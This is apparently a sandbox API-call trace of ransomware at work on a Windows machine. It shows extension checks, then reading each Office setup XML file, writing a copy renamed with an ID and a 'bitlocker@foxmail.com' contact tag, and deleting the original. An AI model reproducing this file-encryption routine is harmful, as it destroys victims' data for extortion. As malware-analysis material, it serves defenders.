lstrlenW (lpString=".ppt") returned 4 [0049.165] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.165] lstrlenW (lpString=".zip") returned 4 [0049.165] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.165] lstrlenW (lpString=".rar") returned 4 [0049.165] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString=".bz2") returned 4 [0049.165] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString=".7z") returned 3 [0049.165] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.165] lstrlenW (lpString=".dbf") returned 4 [0049.165] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.165] lstrlenW (lpString=".1cd") returned 4 [0049.165] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.166] lstrlenW (lpString=".jpg") returned 4 [0049.166] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.166] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.166] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0049.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.167] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=16852) returned 1 [0049.167] CloseHandle (hObject=0x18c) returned 1 [0049.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0049.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.167] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.167] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.167] GetLastError () returned 0x0 [0049.167] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0049.169] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0049.170] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.170] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0049.170] SetEndOfFile (hFile=0x1f8) returned 1 [0049.171] CloseHandle (hObject=0x1f8) returned 1 [0049.171] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.171] SetEndOfFile (hFile=0x18c) returned 1 [0049.172] CloseHandle (hObject=0x18c) returned 1 [0049.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.173] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0049.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.173] lstrlenW (lpString=".doc") returned 4 [0049.173] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.173] lstrlenW (lpString=".docx") returned 5 [0049.173] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0049.173] lstrlenW (lpString=".pdf") returned 4 [0049.173] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.173] lstrlenW (lpString=".xls") returned 4 [0049.173] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.173] lstrlenW (lpString=".xlsx") returned 5 [0049.173] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0049.173] lstrlenW (lpString=".ppt") returned 4 [0049.173] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.173] lstrlenW (lpString=".zip") returned 4 [0049.173] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.173] lstrlenW (lpString=".rar") returned 4 [0049.173] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.173] lstrlenW (lpString=".bz2") returned 4 [0049.173] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.173] lstrlenW (lpString=".7z") returned 3 [0049.173] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.173] lstrlenW (lpString=".dbf") returned 4 [0049.173] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.174] lstrlenW (lpString=".1cd") returned 4 [0049.174] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.174] lstrlenW (lpString=".jpg") returned 4 [0049.174] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.174] lstrlenW (lpString=".doc") returned 4 [0049.174] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString=".docx") returned 5 [0049.174] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0049.174] lstrlenW (lpString=".pdf") returned 4 [0049.174] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString=".xls") returned 4 [0049.174] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString=".xlsx") returned 5 [0049.174] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0049.174] lstrlenW (lpString=".ppt") returned 4 [0049.174] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.174] lstrlenW (lpString=".zip") returned 4 [0049.174] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.174] lstrlenW (lpString=".rar") returned 4 [0049.174] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString=".bz2") returned 4 [0049.174] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString=".7z") returned 3 [0049.174] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.174] lstrlenW (lpString=".dbf") returned 4 [0049.174] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.174] lstrlenW (lpString=".1cd") returned 4 [0049.174] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0049.174] lstrlenW (lpString=".jpg") returned 4 [0049.175] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.175] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.175] lstrlenW (lpString="SETUP.XML") returned 9 [0049.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.175] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31094) returned 1 [0049.175] CloseHandle (hObject=0x18c) returned 1 [0049.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0049.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.175] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.175] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.177] GetLastError () returned 0x0 [0049.177] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x7976, lpOverlapped=0x0) returned 1 [0049.179] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0049.180] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.180] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.180] SetEndOfFile (hFile=0x1f8) returned 1 [0049.180] CloseHandle (hObject=0x1f8) returned 1 [0049.181] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.181] SetEndOfFile (hFile=0x18c) returned 1 [0049.182] CloseHandle (hObject=0x18c) returned 1 [0049.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.182] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0049.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.182] lstrlenW (lpString=".doc") returned 4 [0049.182] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString=".docx") returned 5 [0049.183] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.183] lstrlenW (lpString=".pdf") returned 4 [0049.183] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString=".xls") returned 4 [0049.183] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString=".xlsx") returned 5 [0049.183] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.183] lstrlenW (lpString=".ppt") returned 4 [0049.183] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.183] lstrlenW (lpString=".zip") returned 4 [0049.183] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.183] lstrlenW (lpString=".rar") returned 4 [0049.183] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString=".bz2") returned 4 [0049.183] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString=".7z") returned 3 [0049.183] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.183] lstrlenW (lpString=".dbf") returned 4 [0049.183] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.183] lstrlenW (lpString=".1cd") returned 4 [0049.183] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.183] lstrlenW (lpString=".jpg") returned 4 [0049.183] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.183] lstrlenW (lpString=".doc") returned 4 [0049.183] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.183] lstrlenW (lpString=".docx") returned 5 [0049.183] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.184] lstrlenW (lpString=".pdf") returned 4 [0049.184] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.184] lstrlenW (lpString=".xls") returned 4 [0049.184] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.184] lstrlenW (lpString=".xlsx") returned 5 [0049.184] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.184] lstrlenW (lpString=".ppt") returned 4 [0049.184] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.184] lstrlenW (lpString=".zip") returned 4 [0049.184] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.184] lstrlenW (lpString=".rar") returned 4 [0049.184] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.184] lstrlenW (lpString=".bz2") returned 4 [0049.184] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.184] lstrlenW (lpString=".7z") returned 3 [0049.184] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.184] lstrlenW (lpString=".dbf") returned 4 [0049.184] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.184] lstrlenW (lpString=".1cd") returned 4 [0049.184] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0049.184] lstrlenW (lpString=".jpg") returned 4 [0049.184] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.184] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.184] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0049.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.185] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1450) returned 1 [0049.185] CloseHandle (hObject=0x18c) returned 1 [0049.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0049.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.185] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.185] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.707] GetLastError () returned 0x0 [0049.707] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0049.709] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0049.710] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.710] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0049.710] SetEndOfFile (hFile=0x1f8) returned 1 [0049.710] CloseHandle (hObject=0x1f8) returned 1 [0049.711] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.711] SetEndOfFile (hFile=0x18c) returned 1 [0049.712] CloseHandle (hObject=0x18c) returned 1 [0049.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.712] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0049.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.712] lstrlenW (lpString=".doc") returned 4 [0049.712] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.712] lstrlenW (lpString=".docx") returned 5 [0049.712] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.712] lstrlenW (lpString=".pdf") returned 4 [0049.712] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.712] lstrlenW (lpString=".xls") returned 4 [0049.712] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.712] lstrlenW (lpString=".xlsx") returned 5 [0049.712] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.712] lstrlenW (lpString=".ppt") returned 4 [0049.713] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.713] lstrlenW (lpString=".zip") returned 4 [0049.713] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.713] lstrlenW (lpString=".rar") returned 4 [0049.713] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString=".bz2") returned 4 [0049.713] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString=".7z") returned 3 [0049.713] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.713] lstrlenW (lpString=".dbf") returned 4 [0049.713] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.713] lstrlenW 